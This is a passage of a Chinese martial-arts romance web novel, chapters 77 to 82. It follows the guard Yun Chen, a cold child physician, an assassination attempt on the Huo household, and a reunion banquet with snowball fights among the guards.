“小孩哥——哥,都这个时候了,你还嫌弃我?别挑了,赶紧走吧咱,万一再冒出来个猛兽,我可真打不过了,我已经饿得没力气了。”
严朗睨了她一眼,然后环顾四周,指着一处茂盛低矮的草,道:
“那是解毒镇痛的草药,去把叶子拔下来,捣碎敷在伤口上,不然过不了今夜你就会高烧死。”
她半信半疑,按严朗说的照做,将草在嘴里嚼碎吐出来,抓起严朗的脚腕覆上去。
这次严朗没有躲,也没有嫌弃,只是问:
“为什么要一同救我,还先给我疗伤?你又不是我的护卫。”
她给严朗处理完伤口,然后才开始给自己上药。
无奈她身上伤太多,她嚼了半天,腮帮子都酸了,草药还没够。
她揉揉发酸的脸,“做护卫的习惯吧,再说了,老弱病残,你占了俩,我快二十,你八岁,大人肯定得照顾小孩儿啊!”
每次一听到她嘴里冒出“小孩”二字,严朗的脸上都有一丝不快,却没有反驳。
最终,严朗还是妥协了,趴在云琛又臭又黏糊的背上,朝树林外走去。
路过那小土坡的时候,严朗朝坡下望了一眼。
大黑熊庞大的身躯倒在地上,周围的草木上全都染着血,树上还挂着一只黑熊眼睛,情景实在可怖。
第77章 神医严朗
离开林子,找到最近的一户农家,云琛与严朗二人先猛灌一顿饭菜茶水,然后才有空坐下来,细细捯饬身上的伤。
农家主人看着狼狈不堪的二人,惊奇道:
“你俩真行,敢往黑熊林里扎。那林子里的熊都成精了,会学人走路招手,骗人过去吃。那些熊**上瘾,本来只吃活物,现在却连**腐肉都不放过。”
农家主人说着拿来一套粗布衣服,又帮云琛倒掉一盆血水,换来新水,对云琛道:
“这位小兄弟受伤不轻啊,你衣服脱下来扔了吧,我帮你擦洗。”
云琛赶忙谢绝:“不了不了,我自己来就行,借用你屋子一下。”
等云琛包扎完伤口,收拾妥当出来的时候,只见严朗小大人模样地坐在院中石桌旁,正给那农家主人把脉。
“气虚,亏精,腰膝酸软,肾气不足。少喝冷酒,太阳落山后不沐浴。”严朗一脸正经地说。
农家主人点头如捣蒜,“是的是的,腰上没劲,媳妇都埋怨我好几回了!神医,您真神,您咋知道我习惯喝冷酒?白天忙着地里的庄稼,我就是天黑才有时间擦澡!”
“黑熊林子里有刚死的一头熊,你若胆子大,就去取熊胆和右熊掌来,熊胆烘干磨粉,熊掌用湿泥包裹,烧干后剥净去**,水浸切碎,再与这几种草药一起,分五副服下。”
严朗在纸上写下药方,然后很自然地对着云琛说:
“你把杀熊的具体位置告诉他,他自己决定是否去找。”
云琛有点搞不清状况,一时不知是该问“你小小年纪还会给人看病”?还是说“你凭啥那么自然地使唤我”?
不过她记得严朗说过,他进黑熊林是去采药的,大概真是个大夫。
看出她心中所想,严朗上下打量她两眼,道:
“你不是楠国人吗?身无通关文书,没有行囊,说明你是被迫偷渡进东炎的,你现在定然要回楠国。你护卫我去官衙,我给你银钱上路。”
云琛忍不住竖起大拇指,“新脑子就是好使,猜得真准!小孩哥,都听你的!”
又是“小孩”二字,这次严朗明显不爽,“此刻开始,你是我的护卫,你当如何称呼我?”
看着严朗乳臭未干却老成持重的违和样子,云琛忍住笑意:
“是,公子,属下知错了!”
严朗没有搭理她,继续为那农家主人把脉看病,看完又给农户的妻子和孩子把脉问诊。
且看那农户妻子惊讶又佩服的表情,就知道严朗看得极准。
云琛在一旁等的无聊,加上方才与大黑熊搏斗,耗费太多体力,她瞬间又困又乏,倚着墙就睡着了。
等她再次醒来的时候,耳朵先醒,她听见四周全是嘈杂人声,还夹杂着许多“啧啧”惊叹。
她睁开眼,只见小小的农户院子里挤满了附近赶来的村民,院子外面还排着长长的队伍,全是前来看病的人。
人食五谷杂粮,自然要生病,听闻有这样一位神医在此,村民们趋之若鹜。
严朗被一院子人包围其中,为村民一个个把脉,一个个开方,面对每个村民的恭敬感谢,他都只抬下眼皮,算是回应。
云琛再次从他身上感受到那种强烈的“不在乎”。
他好像根本不在意他四指之下的脉搏是什么样,来人是什么病,对他把脉的奇准怎么称赞,又对他的药方如何感激涕零。
他只是把脉,说病,开药,送客——叫下一位。
云琛浑身酸痛,捶着腰站起身,过去疏散人群,制止插队的人,自觉干起护卫本分。
很快,两个时辰过去,云琛怀里的诊金收了一大堆。
严朗没有标明诊金多少,村民们付钱都凭自觉自愿,遇到穷得付不起诊金的,严朗也不拒诊。
只要排队到他面前,他一视同仁把脉看诊。
所以云琛收的诊金里面,有铜钱,有银豆子,也有碎银,甚至还有几个鸭蛋。
村民们大多不富裕,收的诊金中铜钱最多。
“你回楠国,需要多少银钱?”严朗看罢一个病人,突然问云琛。
云琛算了算,“买匹快马六两银,买个水壶还有干饼子二钱银。我要六两二钱就够。”
严朗停下看诊的动作,拿帕子反复擦净手,活动发酸的手腕。
下一个病人是附近
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村子里的一位老阿婆,腿上有疮疾,久病不愈,十分痛苦。
见严朗并未请她入座看诊,老阿婆有些等不及,一瘸一拐地走上前,说道:
“小神医,劳烦您给我看看,这烂疮怎么治,十几年了,太折磨人了,我经常疼得夜里睡不着,唉……”
严朗并没有回老阿婆的话,只是又问云琛,“现在收了多少银钱?”
云琛数了数,“七两零八个鸭蛋。”
严朗点点头,丢下帕子,起身朝外走,道:
“六两二钱给你做路费,剩下的算允你的护卫报酬。”
说罢,严朗目不斜视,穿过层层人群,走过院子外等着看病的长长队伍。
队伍中男女老少都有,有拄着拐杖的老人,也有尚在襁褓高烧不止的婴孩,有衣衫褴褛的穷人,还有缺胳膊少腿的残疾人。
可严朗连看都没有看一眼,只负手朝前走去。
走出不远,他停下来回望着云琛,不悦问:
“怎么还不走?”
见严朗竟是真的要走,等待看诊的村民们瞬间炸开了锅,纷纷央求“神医再留留”,可严朗丝毫不理会。
他目不斜视,眉头没有一丝波动,对周围一切视若无睹,充耳不闻。
云琛惊愣地杵在原地,看着满脸哀求神色的村民们,再看看面色如常的严朗。
她终于知道严朗身上散发的那种强烈的“不在乎”,以及与他八岁孩童年龄极不相符的东西是什么了。
冷血。
严朗仿佛从骨子里是个极致冷血的人,除了他自己,他什么都不在乎,什么都不放在眼里。
旁人就是死在他面前,都无法引起他一丝一毫的喜怒哀乐。
明明孩童年纪,却成熟得像看破人世,冷血至此。
但云琛却说不出一句指责,走南闯北这些年,她什么人都见过。
更何况作为护卫,哪怕是一日,闭嘴照做,听命不问,都是一个护卫的本分。
看诊也好,不看也罢,都是严朗的自由。
不忍去看村民们央求的面庞,避开那拄着拐杖的老阿婆失望的眼神,她快步低头走出院落,跟上了严朗的脚步。
第78章 为我家少主诊病
一路无话,除了问路和计算行程,云琛再没和严朗多说一个字。
她心里很复杂,不自觉地与严朗疏离,也不想与他有什么更深的交集。
她只想着尽快走到最近的城里,将严朗送去官衙报失,踏上回楠国的路。
对于她突然的疏远和沉默,严朗没有任何反应,也没有多问一句。
一直走到天黑,二人寻了一处半山洞过夜。
云琛升起篝火,烤着刚抓来的兔子。
严朗从旁瞧着她,开口道:“我为人诊病,从来只诊一次。”
云琛已见识了他的把脉如神,“我知道,你自信只诊一次,便可以将人治好。”
她又想起那个年迈的老阿婆,那几乎见骨的烂疮,还有强忍着疼痛的哀求眼神。
她恼自己为何要大实话地说六两呢,如果说六十两,是不是就可以多看些病人?
至少能救救那年迈可怜的老阿婆,不是吗……
云琛什么心事都写在脸上,严朗显然已看出来。他说:
“所以云琛,作为报答,我也给你一次诊病的机会,只有一次,你可以自己用,也可以让给那个腿疮的老阿婆用。”
她惊讶地看向严朗,却只从后者的脸上看见一种残忍的戏谑。
垂头沉默许久,她低声说:
“我想把这一次机会留给我家少主用,请你为我家少主诊病。”
严朗毫不意外,轻笑:“看吧,你也没有眷顾那腿疮的老阿婆,你我薰莸无辨,彼此彼此。”
她脸色晦暗,没有再说话。
严朗却来了兴致,追问:“你家少主什么病?”
“早些年腿受了伤,再也无法站立行走。”
“腿断了?骨肉已截?”
“没有,腿看起来是好的,骨头也没断。”
严朗想了想,“那便是伤了经脉,另外还有心病,这种伤不必把脉,专攻治伤即可。”
见严朗一语中的,她强打起精神,“那该怎么治?”
严朗认真打量她,比起初见时浑身脏污,头发蓬乱得像野人,如今她换上干净衣服,露出白皙的面庞,看起来十分利落俊秀。
“能请得起你这种护卫,叫你为之忠毅,你家主子定然非富即贵,那么一定有人常年为其施针推拿,以保证双腿维持常态,看起来与正常人无异。这些都不用改变,只需我一个方子,一副药,他定然能好。”
听到这里,她倏然起身,直接走到严朗面前,单膝跪下,恳求道:
“求公子告知!天涯海角我都会去找!”
严朗嘴角勾起一抹意味不明的笑容,一字一句道:
“风灼草。”
她泄气地跌坐在地上,刚刚燃起的希望又瞬间熄灭。
习武之人都听说过引得江湖腥风血雨的“风灼草”的大名。
传说,风灼草生长于号称“天下第一渊”的风灼之渊,是在悬崖深渊中逆天而生的百年神草。
且百年一到,便于第一场暴风骤雨中而生,雨停见日则草枯,生长期极短,极难采摘。
据说为了风灼草,曾有数千高手命丧风灼之渊。
可楠国十三年突发一场大地震,地动山摇之间,巨大的裂谷缓缓合并,将无数武林高手的尸骨和风灼草一并永远深埋。
风灼之渊没了,那传说中的神草更是再没了踪影。
“风灼草有续经脉、生骨血、起死回生、治愈哑疾等多种奇效。你家少主的经脉伤,对风灼草来说只是小问题,若你家少主从前习武,风灼草还能助他内功
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大增,强身健体超过常人。”严朗微笑着说。
可云琛却觉得那笑容很刺眼,仿佛一个等着鱼儿咬上的冰冷鱼钩,将他人生死拨弄于股掌之间。
传说中的风灼草,现实中去哪里找呢?
她垂头丧气地站起身,可严朗下一句话,却又让她顿在原地:
“我知道哪里有风灼草。”
严朗收敛笑容,眼神透出一丝严肃,“据说,东炎的皇宫密室里有一株风灼草,虽是于大雨中采摘后风干保存的,但功效不减。”
她这下彻底来了精神,甚至当下就决定不着急回楠国了,她要去为霍乾念偷风灼草。
严朗怎会猜不到她心中所想,冷声道:
“东炎皇宫内遍布侍卫高手,防备森严,巡查严密,连只老鼠也别想进去。那风灼草据说藏在只有皇帝知道的密室中——”严朗顿了顿,继续道:
“你应当知道东炎皇帝有个外号叫‘神力皇帝’吧,他武功卓绝,神力盖世,年轻时拿的一柄青铜锏重达百斤,比你这个人还高还宽,你打得过?”
听完严朗一番话,云琛沉思许久,最终深深叹气。
别说她一个小小护卫单枪匹马能不能杀进皇宫,可能马蹄子还没迈进宫门,就被宫门侍卫乱刀**了。
就算她真入了皇宫,又怎么找风灼草呢?去逼问那个据说力能扛鼎的神力皇帝?
实在无稽。
她知道,就算将藏风灼草的地方明明白白告诉她,也是非她一人之力可以办到的事。
最后,严朗对她说:
“如果你真能拿到风灼草,可以去东炎王都以南三百里的广玉兰洲寻我,我可以将用药的方子告诉你,这是我许诺你的一次诊病机会,我会如约兑现。”
第79章 真我心
在炎朗许下承诺的十天后。
楠国京都城内,暮色已深。
巨大的醒狮浮雕被渡得鎏金如血,透着霍府高门的显赫威仪。
内宅一间屋子里,庄重洁净的神台之上,名贵的云香轻烟慢燃,桔梗花热烈簇放。
神台旁,两幅材金形木的楹联上写着:
“三尺青锋剑,不斩真我心”。
袅袅烛烟间,一道倩影跪着。
霍阾玉两颊苍白,泪痕难干。
她仰头望着仙风道骨的神像,一遍遍念诵宝诰,而后不停祈念:
“信女霍阾玉,在此呼请孚佑帝君,求您保佑云琛逢凶化吉,平安而归……”
小月儿在一旁站得腰酸背痛,更心疼霍阾玉那娇弱的身子必然更辛苦,忍不住小声开口:
“二小姐,三个多月了,您天天来祈福,一跪就是四五个时辰,就是护卫们铁打的身体也受不住啊……再这样下去,只怕还未寻到云护卫,您身体就先垮了……”
霍阾玉好像根本没有听见小月儿在说什么,只无比虔诚肃穆地望着神像,继续道:
“如达所愿,信女愿一生供奉……”
和过去三个月一样,根本说不动霍阾玉,小月儿无奈叹气,心里也开始祈祷“死云琛臭云琛你快点回来吧,否则这府里的人都得疯了——呸呸呸,不能说‘死’……”
小月儿至今都不知道,两年前霍家祠堂里,霍阾玉失踪的那一天到底发生了什么。
她只知道云琛救了霍阾玉,并君子一般恪守诺言,从不对外言说一字。
外界一切乌七八糟的闲言碎语,小月儿都不信,她只信自家二小姐,是这世上最痴傻的女子,从芳心暗许到日渐情深,一发不可收拾……
有时候小月儿真想冲到外院那男人堆里,揪住云琛大骂:
“你个负心汉!知不知道你每一次受伤都牵着二小姐的心!知不知道在你逍遥快活的每一天,二小姐都彻夜不眠地挂念着你!”
可小月儿不能,即使作为婢女,不如世家小姐那般男女大防,她也是不能随心所欲的。
霍阾玉的一腔少女柔情,千肠百回,在这深不见尽头的府宅里兜兜转转,从来都没有真正抵达过云琛面前。
无论是绣了又绣的荷包、手帕、平安福,还是不会女工的她,硬生生练出的熟练针线,为云琛缝制的护臂……都尽数藏在闺阁角落……
小月儿再次深深叹息,轻手轻脚地走出屋子,与迎面而来的润禾碰个正着。
“你怎么有空过来?”
润禾将一个锦盒捧给小月儿,“公主府又来了许多赏赐,少主说药材送去老太爷那,珠钗送来给二小姐。”
小月儿接过锦盒,有气无力道:
“这几个月,公主给了府里好几次赏赐,老天爷能不能也给个赏赐,把云琛还给我们呀……”
润禾面色一变:“你还真是哪壶不开提哪壶,可千万别再说这种话了!”
小月儿拧眉,“怎么啦,为什么不让说,云琛帮我扛过被褥箱子,帮我外送过私物,二小姐院子里移栽的二十盆海棠花也是他帮忙搬的……我真的挺想那家伙……”
润禾也回想起云琛种种好来,叹息一声,道:
“我也想啊,可你我都想,更不要说其他人了,叶峮护卫一个从不掉眼泪的人,都哭过两回。花绝更别说了,和那个小六成天抱在一起以泪洗面,不言护卫都沉默寡言了,荀戓也是天天闷头办差,咬着牙过日子呢……
每次一有点线索,或者哪个堂口报来关于云琛的消息,几个亲卫都抢着亲自去核实。这三个月来,一百多个虚报消息,我都快疲了,可几位亲卫从没马虎过一次,每一次都坚信云琛是真的要回来了……小月儿,你知道这意味着什么吗?”
小月儿听得心里难受,抹了抹眼泪,“意味着什么呀?”
润禾话已经到了嘴边,却没有说出口。
他想说:这意味着所有人都一百多次地升起希望,又一百多次地失望……一百多次将人的心放在石磨上碾啊……
小月儿倒没有追问润禾那半截子话头,而是好奇问:
“大家都这样了,那少主呢?我怎么听说少主和从前没什么两样,照旧每日在书房理事,与京都的达官贵人们宴饮。”
“不上心??不上心会把云琛的赏金标到没上限??”润禾反问。
小月儿道:“不是说,那是因为云琛拿着霍帮的账本吗?”
润禾又气又笑,想说霍帮的账本是何等机要,而且数年下来,账本多得能装好几车,能是他云琛能揣着就走的东西?
那说辞不过是霍乾念为了保云琛性命无虞,并合理解释“赏金无限”的幌子而已。
假装有“账本”这么个东西在身上,任何仇家,哪怕是玉家人找到云琛,都不会轻易要了云琛性命。
其中道理,润禾懂,是因为见惯了霍乾念处事,小月儿不明白也很正常。
至于小月儿说的霍乾念看起来和平时没什么两样,润禾很想替霍乾念解释一番,但职责所在,他不可多言,更何况他也并不确定霍乾念到底担不担心云琛。
说霍乾念担心吧,可别人越是为失踪的云琛痛哭流涕,霍乾念就越是淡定自如,照常的处事议事,照常的面色冷淡宁静,和平常确实没什么区别,甚至都很少谈及云琛。
可若说霍乾念不担心……
润禾深深记得有一次夜里,他噩梦惊醒,想去如厕,发现原本说只是看看夕阳就回的霍乾念,却在院中独坐到深夜月明。
隐月剑平放在他腿上,他低头注视着剑穗上的南珠,一动也不动。
那背影看着孤独至极,像是黑山墨海一般的愁绪被强缚在清瘦的身躯里,只在夜里堪堪显露一角。
润禾叫了声少主,霍乾念回过头来,是一双被凛冬寒风吹得发红的眼睛。
那一天,润禾才突然发现,这三个月来,霍乾念瘦得更厉害了。
润禾与小月儿不约而同叹息一声,又闲谈些其他琐事,却见一个胳膊受伤的近卫飞速跑来,一边跑,一边大喊:
“有刺客!全府戒备!!”
一旁院卫皆愣,小月儿第一个反应过来,尖叫着冲进屋子,护卫们乌泱泱的团团护住霍阾玉,纷纷抽刀警戒。
润禾急问:“少主那边如何?!”
那受伤的护卫撂下一句“正在战!”就又拔腿往回飞奔。
润禾赶忙跟着跑,随手拿了把花铲子防身。
跟了霍乾念六七年,仇家不计其数,大小刺杀千百次,可润禾还是适应不了这种“生死”在前的恐惧感。
作为一等贴身小厮,他知道自己就是死,也得死在保护霍乾念的身边。
那护卫跑得飞快,润禾跟不上,隔着百丈,他听见那护卫与人交手打斗,护卫们与刺客们打斗的声音越来越清晰。
润禾冲进混战圈慌忙四顾,人群混乱之间,刀光剑影,血溅不止。
一个个人倒下,又一个个站起来。
润禾看见荀戓和小六背靠着背,厮杀正酣。
不言手中一圈银丝,一晃便割断一人头颅。
花绝和叶峮紧贴在霍乾念身边,面对着凶猛冲上来的刺客们,他们无所畏惧,奋力搏杀。
见霍乾念无事,润禾心里一松,脚下一顿,立刻被一个刺客踹了出去。
那刺客正要一剑扎死润禾,却被眼尖的花绝看到。
花绝一刀飞来,结果了那刺客性命,救下润禾。
没了武器,花绝赶忙就地打滚躲过砍杀,冲出去拾武器。
趁这空档,两个刺客眼神一交换,迎着叶峮的刀尖猛扑上去,以命拖住了叶峮。
叶峮一只手握着刀,刀身卡在一个刺客腹中,另一只手死死掐住另一个刺客,整个人被牵制得动弹不得,眼睁睁看着又有一个刺客冲上来,举刀砍向霍乾念面门。
就在刀刃离霍乾念额头只有一根手指的距离时,电光火石之间,一个小小的黑影急速飞来,“当啷”一声,狠狠击打在刺客的刀上,打得刀身一歪,砍了个空。
一块山隐月的腰牌掉落在地上,打刀的正是它。
下一瞬,一道俊秀身影落定在霍乾念身边,一脚踹飞那刺客,又一把抽出霍乾念腿上的隐月剑,动作行云流水,干净利落——
用所有人无数次见过的那蓝光冷峻的剑锋狠厉挥出!
“少主!我回来了!”
第80章 这仇,我记下了
“少主!我回来了!”
霍乾念的耳畔响起这世上最悦耳的声音。
三个月而已,怎么像十年那么长……
下一瞬,那几乎要了他性命的刺客被一剑封喉,鲜血溅了他满脸。
云琛只看见红色的血从他脸上流下,并未看见有别的晶莹的东西藏在血中,顺着那凤眸眼尾滑落。
来不及多言,云琛丢下一块粗布帕子,说了句“少主你先擦把脸”,然后立刻快速投入打斗。
叶峮等人皆是一愣,硬生生忍住眼泪,喊了声“云琛!”
云琛咧嘴,呲着一口白牙傻笑,以示回应,随即眼神一寒,一剑放倒一个刺客。
众人精神大振,顿时感觉浑身有使不完的牛劲,开始愈加奋力地搏杀。
小六直接仰天一声大吼,竟兴奋地高举起一个刺客,狠狠摔在地上。
霎时间,霍帮护卫们迅猛如虎,势如破竹,很快就杀得刺客们七零八落,几乎无人生还。
云琛用剑抵住最后一个刺客的喉咙,“哪家寻仇,报上名来!”
那刺客浑身是伤,跪在地上都很吃力,却还是毫不认输地鄙夷冷笑,道:
“霍家狗,果然狂!”
说罢,那刺客身子一倾,撞在云琛剑上,自尽了。
云琛挥剑溅血,皱眉道:
“我记得两年前在祠堂的时候,少主说过纵得我们狂这话,这些刺客难道是玉家的?玉家狗胆真大,天子脚下也敢搞刺杀了,是不是我们最近在商逼的玉家太狠,他们狗急跳墙了?”
她话音落下,没有人接茬理会,正疑惑:“怎么都不说话?”叶峮已大步走上前,狠狠甩下刀,一把抱住云琛,声音哽咽到说不出话来:
“你小子!你小子……好孩子……回来就好!”
叶峮紧紧抱着云琛,舍不得松手。
花绝,不言,荀戓和小六也上前抱作一团。
六个人都没有说话,只是肩搭着肩,头挨着头,牢牢拥在一起。有人在啜泣,不知是谁。
真好啊,又从一场杀斗中活了下来,不仅劫后余生,还能与失踪许久的兄弟相见。
明明只有三个多月,可那煎熬足以称“久别重逢”。
长久以来悬着的心终于可以落地,激动,心酸,埋怨,心疼……
众人一时间百感交集,不知从何言起。
云琛心里也是一阵委屈发酸,一阵又暖意喷薄。
她想,这辈子能有这几个过命的兄弟,就是死也值了。
片刻之后,霍府院落重回平静。
叶峮带着护卫们开始清扫现场。
霍乾念则与云琛待在“栖云居”——霍乾念如今在京都霍府的院堂里,整整三个时辰紧闭着屋门,不许任何人靠近。
“受伤了没有?身子好不好?”
这是霍乾念问她的第一句话。
“可想我吗?我好想你,想得快要发疯。”
这是霍乾念没有说出口的第二句。
云琛忍着没哭,不去讲她如何在异国他乡与大黑熊殊死搏斗,差点折了命。
也忍着不说她一个多月日夜兼程地赶回来有多辛苦,只笑道:
“我很好,少主呢?三个月不见,少主瘦多了……”
看着她假装坚强却眼里含泪的模样,不必多说一个字,他便什么都明了。
“少主,我不是离家出走,更不是背叛霍帮。只是……因为一些特别的原因,我不能告诉你我为什么失踪。我也不想撒谎骗你,所以我说不成这三个月我都在哪儿……”
她蹙眉看着他,一脸担忧,生怕他会对她生出疑心,从此以后便疏远她。
可她记着侍卫首领枭泽说过的话,如今留她一命在霍帮,已是皇帝大恩,如果她说一个字不该说的,那么霍乾念便离死更近一步。
他却笑笑,好像根本不在意那背后的弯弯绕绕,只目光如胶粘着她,温声道:
“不妨,都不要紧,我只怕我太过了些,叫你怕得想逃……”
云琛听不懂他这句话,疑惑地歪了下头,透着孩子般的傻气。
对于云琛失踪这件事,霍乾念思来想去,无外乎两种可能:
一是云琛在宫宴上显露战舞,绝好的身手暴露了师门,恰与皇帝的陈年旧仇有关,皇帝便派人将她掳去审问,在发现她只是个心思单纯的少年护卫后,不便灭口,便故意带她远离霍府,制造她失踪之事与皇帝无关的假象。
第二种可能,是他最痛最怕的结果……
那便是他太急切地想将一腔爱意宣之于口,太无法忍耐自己,盼望着引她开“情窍”,终有一日能与她缱绻于梦里梦外。
他怕,那些有意无意的引导与调教,是他太急于求成,竟吓得她如受惊的小兔,拔腿飞逃,离他越远越好。
这是他霍乾念有生以来第一次质疑自己,后悔自己。
可云琛到底还是回来了。
她的目光没有一丝闪躲与戒备,只是满腹有苦难言的样子。
他便心下了然:皇帝老儿,三个月惊惧相思之苦,这仇,我记下了。
“少主,你听说过风灼草吗?我听人说,东炎皇宫里有一株风灼草,可以治少主的腿伤,我们想办法抢过来吧!”她摩拳擦掌,一副跃跃欲试的样子,继续道:
“以少主的好脑子,加我们几个亲卫的本事,还有公主做靠山,我觉得我们可以一试!”
他失笑,抬手摸摸她的头,忍不住手背向下慢慢滑落,停在她脸颊,舍不得离开。
“傻瓜,风灼草只是传说而已,就算东炎皇宫真的有,又怎能轻易攻入?”
她并不躲避他的抚摸,只是脸蛋红扑扑地笑,眼睛亮盈盈地望着他。
他不禁心头颤动,不自觉地喉结滚动,吞咽了一下。
第81章 打雪仗
为庆祝云琛归来,褒奖众护卫此次迎击刺客的功劳,霍乾念特命起宴,地点就选在府后山的垂星湖旁。
霍府如今在京都这府邸,是前朝末代太子的旧府。
府宇广阔奢华,倚山傍湖,竟有一府之中气候不齐的奇景,可见占地广大。
眼下虽已是冬末春初,但北方冬长,雪仍未化,垂星湖旁雪深及膝,白雪皑皑,飞鸟游空,与蓝山冷湖交相辉映,景色美极。
叶峮和云琛几人拿着扫帚、推板,试图清理出一片可放置桌椅宴饮的空地。
但男人们在一起扫雪,总是扫不了几下就开启“打雪仗”架势。
正好六个人,便是叶峮、不言和荀戓一派,云琛、花绝和小六一方。
两派人一开始还只是小打小闹,团个拳头大的雪球扔来扔去,只砸在人身上。
可自从小六把一个雪球塞进不言领子,还把领子捂死了之后,“小打小闹”立刻升级为“群魔混战”。
派系也没了,情分也不讲了,主打一个“除我之外皆敌人”。
众人一会挥动雪板打作一团,一会两人一头一脚抬起另一人,非扔进雪堆里埋了才罢休。
一时间,只见满场雪球纷飞,雪花四扬,笑骂不断,每个人都是一脸一身的雪,根本看不清眉毛胡子谁是谁。
要不是前来布置桌椅的润禾发脾气制止,五人差点兴奋过头,将小六团进个大雪球里。
润禾对旁边观战的霍乾念埋怨:
“少主,您就这样由得他们胡闹,这一身的雪沾在身上,化了就是一身冷水,非着风寒不可!”
霍乾念弯着眼睛,对云琛道:
“润禾说得对,不要着风寒,去换了衣服再来。”
花绝一边拍打着身上的雪,一边说:“这有什么?两壶酒下去就暖了,大男人还怕这点雪?”
润禾翻了个白眼,气哼哼地去指挥布置桌椅。
待众人坐定宴中,已时近黄昏。
刚吃没两口,天空突然飘起雪,并且有越下越大的趋势。
众人赶紧手忙脚乱地支棚子,一时间倒把霍乾念忘在一旁。
等云琛想起来,回过头去找的时候,正对上他柔情意满的眼神。
她发现,自从她这次“失踪”归来,无论她什么时候看过去,都能与他对视上。
他好像一直在看她,永远在看着她。
她蓦地又想起来那句话:
除非,你心里有别的念头。
如今她已承认了,她确实有别的念头。
想到这里,她有些目光闪躲,不敢再看他。
他姿态从容潇洒地坐在那里,一身湛蓝锦衣衬得他肤白如雪,大片的雪花落在他如墨发间,叫他整个人看起来清冷又出尘,那绝世英俊的容貌似乎是天神而来的。
见她一开始还不好意思,这会又傻愣愣地看着他,他微微挑眉,似乎在问她看什么呢?
她却觉得那峰眉微微一挑,他神仙般的面容立刻活色生香起来,俊美得如妖孽一般,直直勾着她的心魂。
看她脸色泛红,小六凑过来狐疑问:“云哥,你咋了,热得很吗?”
旁边的荀戓则看得分明,对于霍乾念和云琛的“眉来眼去”,他一早就注意到了。
可霍乾念已警告过他,荀戓不敢多言,只是心中叹息,自对云琛“失而复得”之后,霍乾念已不再避讳对云琛的注目,似乎已决心对周遭所有不管不顾。
作为过来人,荀戓知道这意味着什么。
眼看小白兔就要落入大狐仙的陷阱,荀戓除了暗自祈祷,别无他法,只能一把勾住小六的脖子往席中走,免得再招惹下去,霍乾念会对小六这个毛躁的也起了寒意。
酒过七八巡,众人越喝越高兴。
花绝提着一坛酒,重重地放在荀戓面前,瞪着荀戓不作声。
不言和云琛对视一眼,不约而同地笑起。
云琛学着不言当年的样子,对疑惑不解的荀戓道:
“花绝这厮是给你道歉来了!你若不喊停,他今天能把自己喝死,方能表示他对你说不出口的歉意、愧疚、悔恨……”
荀戓张着嘴,哑口无言,眼睁睁看着花绝灌下三碗酒,他才赶忙制止住花绝的动作,毫无芥蒂地笑道:
“别别别,花护卫,从前我也有许多不对的地方,你有些话也没说错,我从来不记恨你,都是一个帮里的兄弟,出生入死在一起,你是个嘴硬心软的,我知道!”
花绝挣脱开荀戓的手,指着云琛,说:
“我就等着阿琛回来呢,我要当着他的面给你赔罪,才算个男人!”
花绝又咕嘟咕嘟干掉一碗酒,红着眼睛对荀戓道:
“狗哥,我总骂你窝囊,没脾气,不是个男人。是我蠢!我不知道你和嫂子上头有四个八十的父母要养,还有五个孩子,你甚至还一直养着痴傻的小姨子,瘫了的小舅子……”
花绝说着哽咽,将一碗酒伸到荀戓面前,满脸愧疚和郑重,“狗哥,有情有义,忍辱负重,你才是爷们儿里的爷们儿!我敬你!”
“好!”荀戓也不多言,接过酒一口干了,大力揽住花绝胳膊,以同样男人的方式接受了花绝的道歉。
见二人终于和好,花绝接纳了荀戓这个第五亲卫,荀戓以后日子也定然过得更舒心,众人不免起哄叫好。
不言贱兮兮道:“花绝,一坛酒就能弥补狗哥的心里创伤?你也太不地道了,高低给狗哥全家老小迁到京都来啊,那费用是不是都得你掏?”
花绝瞪眼:“这有何难?我到底是霍宸,这点钱还是有的,是我该赔罪的!”而后拍着胸脯对荀戓许诺:
“狗哥,包在我身上!我说话算话!”
叶峮从旁道:“狗哥,你若真想迁全家老小来这里,我可以介绍懂车马行程的马夫给你,我家妻儿都是这么来的,我就将他们安置在城西的老巷子里,屋宅挺好的!”
“就是啊!狗哥,快把嫂子他们接来吧!我帮你收拾屋子!”小六说。
见众人都操心着自己这点家事,荀戓感动不已,正要感谢,却听小六不满地冲花绝嚷嚷:
“你咋不给我道歉呢?你都给狗哥赔罪了,那我呢?你还骂过我好多回呢!”
花绝翻了个大白眼,“我凭什么给你道歉?等你什么时候做到亲卫再说吧!”
“嘿呦我他娘!”小六跳起来去挠花绝,“云哥没回来的时候,你成天找着我哭,这会云哥回来了,你又提起裤子不认账了是吧?”
“哈哈哈哈哈哈哈哈——”众人哄笑。
花绝很少和小六这样乡野长大的浑小子打交道,一下子接不上话,气得去踢小六屁股,“臭小六!没大没小!看我不收拾你!”
小六顶着黝黑的脸,高大的身形,极其违和地做了个鬼脸,故意气花绝:
“来啊来啊——我给你‘花脚’打成‘花脸’!”
花绝大骂一声,追着小六跑远。
小六的笑声传回来,“霍府亲卫必六人,我就叫‘小六’!说明这第六亲卫的位置天生就是给我留的!你等着我再立几次功来!到时候我就是‘小六’亲卫啦!”
花绝笑骂:
“放屁!‘叶峮’、‘花绝’、‘不言’、‘云琛’、‘荀戓’——‘小六’?你听听这像话吗?!”
“哈哈哈哈哈哈……”
第82章 少主要是女的就好了
酒到入夜,众人已醉得七七八八,一个个勾肩搭背,嘴里说着胡话。
垂星湖旁,嘈杂得连狗都捂着耳朵跑远。
叶峮揽着云琛,酒气冲天地说:
“臭小子,我知道你一定有难处,所以这三个月你经历了什么,我不问。但是、你小子、你小子从今天开始,必须早晚来我这报备!可不能再丢了!”
不言从叶峮胳膊底下抢过云琛,抱着云琛的头,醉醺醺道:
“不止报备,阿琛我给你买条狗吧,栓你屋门口看护你,一旦你再有什么风吹草动,狗也能来给我们报个信,这样,我们约定一下,‘汪’一声是平安,‘汪汪’两声是有事需要帮忙,有危险就是‘汪汪汪汪汪’……”
“买狗多麻烦,又拉又尿的,脏的很。”花绝眯起发直的眼睛,拍拍旁边已醉趴在桌子上的小六,“栓小六吧,他会自己上厕所,养起来比较省心一点……”
“哈哈哈哈……”
众人哄笑打趣,云琛什么都没听进去,只知道“嗯嗯嗯”,一个劲儿地点头,感觉天旋地转的。
难受的厉害了,她挣开不言的胳膊,踉跄地冲到湖边草丛里吐了一阵,这才感觉舒服了些。
荀戓见她醉得厉害,端水过来给她漱口。
她清完口,吹了会风,这才感觉好些。
“走,哥陪你醒醒酒,免得你一回去,那几个又灌你酒。”荀戓揽着云琛远离酒席,沿着湖边散步。
云琛又吐了两个来回,除了脚步有点虚浮,人已经大致清醒了。
